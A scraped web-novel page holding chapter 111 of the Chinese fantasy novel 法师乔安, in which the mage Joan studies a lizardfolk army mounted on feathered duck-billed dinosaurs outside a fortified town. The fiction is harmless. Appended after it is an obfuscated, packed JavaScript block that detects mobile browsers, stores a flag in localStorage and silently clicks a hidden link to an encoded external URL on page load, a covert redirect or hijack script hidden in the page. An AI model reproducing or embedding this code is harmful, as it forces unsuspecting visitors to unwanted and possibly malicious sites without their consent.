第五文学网 > 网游小说 > 法师乔安 > 第111章:鸭嘴龙骑兵

第111章:鸭嘴龙骑兵

    乔安在士官行列中找到丁道尔兄弟,两人身旁只有披挂铠甲手持战锤的矮人铁匠汤姆作伴。乔安过去跟三位队友会合,问迪克:“维斯他们还没有过来?”

    “维斯、格雷和杰米住在后山小屋,离集结点比较远,赶过来得多花点时间。”迪克一边解释,还时不时朝远处眺望。

    乔安循着他的视线望过去,首先看到的是镇口整齐排列开的“拒马”。这些巨大的防御装置由粗长的木桩构成,结构简单却很实用,向前斜指的木桩一律削尖,能够有效阻挡敌军骑兵冲锋。

    双层拒马外围是一圈临时挖掘的壕沟。连日来丁道尔镇长发动全体镇民昼夜赶工,总算赶在蜥蜴人匪徒发起攻击之前挖掘出一条环绕小镇、平均宽十五尺、深达六尺的壕沟,沟中埋设有密密麻麻的尖木桩,跌进去就别想轻易爬出来。

    除了这两道临时构筑的防御措施,德林镇的围墙也被加固,环绕墙壁布置手持劲弩的民兵小队,镇口两侧竖起的哨塔上设有大型床弩,发射的弩箭粗如长枪,射程远达千尺。

    看到这些周密的防御措施,乔安心里觉得踏实了很多,目光朝更远处望去,透过清晨的薄雾,看到与镇口相距大约三百码远的河滩上驻扎着一支规模庞大的军队,目测总兵力不下千人。

    这支来势汹汹的军队正是冷血部落的蜥蜴人兵团,其中四分之三是手持长矛、背负标枪的步战武士,还有两百多名精锐骑兵,由冷血部落的贵族军官及其扈从构成,清一色身穿皮甲手持长枪。蜥蜴人的坐骑并非寻常战马,而是一种栖息在沼泽地区的杂食性鸟臀目恐龙,当地人称之为“鸭嘴龙”。

    在新大陆,从南到北随处可见恐龙的身影,族类之繁多恐怕连学识最渊博的人也无法尽数,新大陆的原住民自古以来就尝试驯化恐龙作为驼兽乃至军用坐骑。肉食性恐龙太过凶猛,饲养成本高昂,通常不是人工驯化的好选择,只有游侠和德鲁伊这类擅长与野兽打交道的人物才敢于尝试驯化肉食性恐龙,比如康蒂一家都把“恐爪龙”收为动物伙伴。相比肉食性恐龙,草食性和杂食性恐龙的性情更温和,更容易被驯化,饲养成本也比食肉恐龙低得多。

    乔安在亚尔冈京谷地旅居期间,曾亲眼目睹食人魔骑乘被驯化的“肿头龙”充当坐骑冲锋陷阵,气势之恢宏远胜战马。蜥蜴人居住的大沼泽中也有类似肿头龙那样适合驯化为军用坐骑的恐龙,就是对面那些佩戴鞍具、看起来像一群巨大水鸟的“鸭嘴龙”。鸭嘴龙的形象非常特殊,与人们一般认知中的“恐龙”不同,生有鸭嘴和鸭蹼也就罢了,身上居然还布满油光水滑的灰色羽毛!在亲眼目睹“鸭嘴龙”之前,乔安都不知道世上居然还存在不长鳞片却长羽毛的恐龙,看上去着实有些别扭!

    虽说长相有点奇葩,鸭嘴龙可不是好惹的,飞奔起来快如骏马,宽阔坚硬的喙嘴酷似一把大号铁铲,轻而易举就能将重装骑士铲翻在地。唯一令乔安感到庆幸的是鸭嘴龙只长羽毛却没长翅膀,无法像真正的水鸟那样腾空翱翔,否则德林镇的防御措施就全都形同虚设了。

    骑乘泽地鸭嘴龙的蜥蜴人武士正中央有一位非常显眼的人物。此人的坐骑与众不同,赫然是一只通体赤红的七头蛇蜥。这怪物身躯庞大宛如巨龙,七条修长的颈项上分别生有一颗狰狞的蜥蜴头颅,鼻孔喷出黑烟,烈焰在齿缝间吞吐。

    七头炎蛇蜥背上的冷血骑士肤色黑红,一袭黑白相间的斗篷迎风猎猎飞舞,凶恶的面容、漆黑的蝠翼以及额头上的犄角都使乔安联想起深渊中的恶魔,再看看他手中紧握的那柄血色三叉戟,不用问也猜的出此人就是冷血部落的新任族长“恶魔之子”科塔尔——一位深得深渊领主塞斯伊奈克宠爱的高阶半炼狱蜥蜴人战士。

    乔安眯起眼眸端详了科塔尔许久,不需要借助侦测魔法就能看出此人周身缭绕着强烈且邪气凛然的魔力波动,手中所持三叉戟以及身上穿的斗篷也都是魔法装备,可惜距离太远,无法利用卢恩符文鉴定这两件装备的底细。乔安稍移视线,注意到科塔尔身旁那位骑乘泽地鸭嘴龙的老蜥蜴人也不是寻常人物,从他身上穿的萨满祭袍来看,想必就是联合科塔尔发动政变杀害前任族长米里克的巴松长老。

    乔安还发觉巴松长老手中持有一根两尺长的细棒,看上去像是某种动物的骨骼雕琢而成,通体呈象牙色泽,棒首镶嵌着一颗足有鹌鹑蛋那么大的蓝宝石,反射晨光焕发出如梦似幻的光晕。

    根据自己掌握的魔法学识,乔安猜测巴松长老手中所持多半是一支“魔杖”。魔杖、法杖和权杖这类物品通常会镶嵌珠宝,如果把这些珠宝当成单纯的装饰品就错了,事实上不同的珠宝具有不同的功效,大多能对特定类别的法术产生增幅作用。比如蓝宝石,具有增强召唤类法术的奇效,既然巴松长老的魔杖上镶嵌了一大颗蓝宝石,乔安有理由猜测他的魔杖能够释放出召唤虎豹熊狼之类自然盟友的德鲁伊神术,至于具体是几环召唤法术,乔安就猜不出来了。

    科塔尔与巴松率领蜥蜴人大军逼近德林镇却不急于进攻,显然是觉察到这个人类小镇已经有所防范,提前挖掘壕沟设下拒马,并不像他们原以为的那么容易征服。假使从正面发动强攻,难免付出巨大伤亡。

    刚刚坐上族长宝座、根基尚不牢靠的科塔尔可不想承担损兵折将的风险,决定在发起总攻前先对德林镇的内部情况进行一番细致的侦查,顺带给对面那群胆敢对抗冷血大军的低等无鳞生物一个下马威,就冲身旁的巴松长老使了个眼色。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){m(S z==="\\t\\6\\5\\0\\u\\3\\6\\0\\5"){A T}B a=(C^C)+(U^V);v D=z[\'\\t\\c\\0\\7\\W\\k\\0\\6\\4\'][\'\\4\\2\\E\\2\\n\\0\\7\\w\\1\\c\\0\']();a=(F^F)+(X^Y);v G=Z 10(\'\\1\\6\\5\\7\\2\\3\\5\\d\\3\\e\\h\\2\\6\\0\\d\\3\\e\\1\\5\\d\\3\\e\\2\\5\\d\\n\\3\\6\\5\\2\\n\\c\\H\\e\\h\\2\\6\\0\\d\\8\\9\\1\\g\\I\\8\\0\\7\\7\\i\\d\\c\\i\\f\\8\\3\\1\\6\\d\\n\\0\\8\\2\\c\\d\\2\\e\\0\\7\\1\\H\\f\\3\\6\\3\\d\\3\\0\\f\\2\\8\\3\\9\\0\\d\\f\\2\\8\\3\\9\\0\',\'\\3\');A G[\'\\4\\0\\c\\4\'](D)}s J(a){B b=(11^12)+(13^14);v j=l[\'\\g\\7\\0\\1\\4\\0\\K\\9\\0\\f\\0\\6\\4\']("\\1");b=(15^16)+(17^18);j[\'\\h\\7\\0\\u\']=a;j[\'\\c\\4\\i\\9\\0\'][\'\\5\\3\\c\\e\\9\\1\\i\']="\\6\\2\\6\\0";j[\'\\4\\1\\7\\k\\0\\4\']="19".o("").p().q("");l[\'\\8\\2\\5\\i\'][\'\\1\\e\\e\\0\\6\\5\\w\\h\\3\\9\\5\'](j);j[\'\\g\\9\\3\\g\\I\']();l[\'\\8\\2\\5\\i\'][\'\\7\\0\\f\\2\\L\\0\\w\\h\\3\\9\\5\'](j)}l[\'\\1\\5\\5\\K\\L\\0\\6\\4\\E\\3\\c\\4\\0\\6\\0\\7\']("1a".o("").p().q(""),s(){m(!M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']){m(l[\'\\8\\2\\5\\i\']!=1b){M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']="\\x";O=P[\'\\k\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""));m(!O&&y()){J("\\h\\4\\4\\e\\c\\1c\\r\\r\\u\\1\\g\\1\\3\\1d\\1e\\1f\\R\\2\\1g\\h\\2\\1h\\R\\g\\2\\f\\r\\g\\8\\5\\r\\1\\1\\1\\8\\g\\1")}P[\'\\c\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""),"\\4\\7\\t\\0")}}});',62,80,'u0065|u0061|u006F|u0069|u0074|u0064|u006E|u0072|u0062|u006C|||u0073|u007C|u0070|u006D|u0063|u0068|u0079|_0xed55f|u0067|document|if|u0077|split|reverse|join|u002F|function|u0075|u0066|const|u0043|u0049|isMobileDevice|navigator|return|var|610213|_0x96d|u004C|823949|_0x49466c|u0020|u006B|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|ff_kcul|u002E|typeof|false|630260|630261|u0041|483770|483768|new|RegExp|931764|931765|606841|606840|661798|661807|765516|765515|knalb_|dedaoLtnetnoCMOD|null|u003A|u0031|u0030|u0033|u007A|u006A'.split('|'),0,{}))